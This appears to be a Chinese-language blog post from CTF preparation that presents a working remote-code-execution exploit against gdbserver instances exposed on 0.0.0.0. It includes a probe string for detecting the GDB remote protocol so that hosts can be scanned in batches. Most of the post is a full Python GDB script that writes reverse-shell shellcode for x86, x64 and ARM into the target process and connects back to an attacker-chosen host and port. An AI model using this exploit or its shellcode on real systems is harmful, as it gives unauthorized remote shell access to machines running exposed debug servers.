在準備 DEFCON CTF 時額外想到的小玩具,很多人使用 GDB remote debugging 時為了方便遠端使用,會將 port 綁在 0.0.0.0 上使得攻擊者可以連接上做一些事情
至於可以做哪些事情,不來個遠端代碼執行就不好玩了XD
大部分的工作都基於 Turning arbitrary GDBserver sessions into RCE 這篇文章,修改部分則是加上 arm 及 x64 的支援以及把 code 改好看點….XD
比較 tricky 的部分則是 GDB 在 extended-remote 後,GDB 預設的處理器架構會是 i386,如果遠端的處理器架構非 x86 的架構下會失敗,所以必須用 set architecture 指定處理器架構
(原文章因為都在 x86 架構下所以沒這個問題XD)
但是在 run 之前無法知道所處的處理器架構所以變成一個很尷尬的狀態XD
另外一個有趣的是如何檢測掃描到的 port 是否為 GDB remote debugging protocol,送個
$?#3f
就可以判斷,接著就可以寫成 script 就可以批次掃描處理了XD
最後 PoC,在本機跑
gdbserver –remote-debug 0.0.0.0:31337 /bin/ls
配合下面 Exploit 就可以拿 shell XD
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
|
import sys import gdb import socket import struct import binascii
DEBUG = False
GDB_SERVER = ('127.0.0.1', 12345)
CONNECT_BACK_HOST = '127.0.0.1' CONNECT_BACK_PORT = 31337
def _set_pair(sc): ip = socket.inet_aton( CONNECT_BACK_HOST ) port = struct.pack('>H', CONNECT_BACK_PORT ) return binascii.unhexlify(sc).replace(b'\xff'*2, port).replace(b'\x00'*4, ip)
def reverse_shell_x86(): sc = '31c031db31c931d2b066b301516a066a016a0289e1cd8089c6b06631dbb30268' \ '000000006668ffff6653fec389e16a10515689e156cd805b31c9b103fec9b03f' \ 'cd8075f831c052686e2f7368682f2f626989e3525389e15289e2b00bcd80' return _set_pair(sc)
def reverse_shell_x64(): sc = '4831c04831ff4831f64831d24d31c06a025f6a015e6a065a6a29580f054989c0' \ '4831f64d31d24152c604240266c7442402ffffc7442404000000004889e66a10' \ '5a41505f6a2a580f054831f66a035e48ffce6a21580f0575f64831ff57575e5a' \ '48bf2f2f62696e2f736848c1ef0857545f6a3b580f05' return _set_pair(sc)
def reverse_shell_arm(): sc = '01108fe211ff2fe102200121921a0f02193701df061c08a11022023701df3f27' \ '0221301c01df0139fbd505a0921a05b469460b2701dfc0460200ffff00000000' \ '2f62696e2f736800' return _set_pair(sc)
def gdb_exec(cmd): if DEBUG: gdb.execute( cmd ) else: gdb.execute( cmd, True, True )
if __name__ == '__main__': gdb_exec('set confirm off') gdb_exec('set verbose off')
ARCHS = { 'x86': reverse_shell_x86(), 'x64': reverse_shell_x64(), 'arm': reverse_shell_arm() }
for arch, shellcode in ARCHS.items(): try: if arch == 'arm': gdb_exec('set architecture arm') if arch == 'x86': gdb_exec('set architecture i386') if arch == 'x64': gdb_exec('set architecture i386:x86-64')
gdb_exec('target extended-remote %s:%d' % GDB_SERVER) bp = gdb.Breakpoint('*0', internal=True)
try: gdb_exec('run') except gdb.error as e: pass
bp.delete()
for idx, ch in enumerate(shellcode): ch = ord(ch) if arch == 'arm': gdb_exec('set *(unsigned char *)($pc + %d) = %d' % (idx, ch)) if arch == 'x86': gdb_exec('set *(unsigned char *)($eip + %d) = %d' % (idx, ch)) if arch == 'x64': gdb_exec('set *(unsigned char *)($rip + %d) = %d' % (idx, ch))
gdb_exec('continue') gdb_exec('continue') exit()
except gdb.error as e: print( '##### not %s' % arch )
|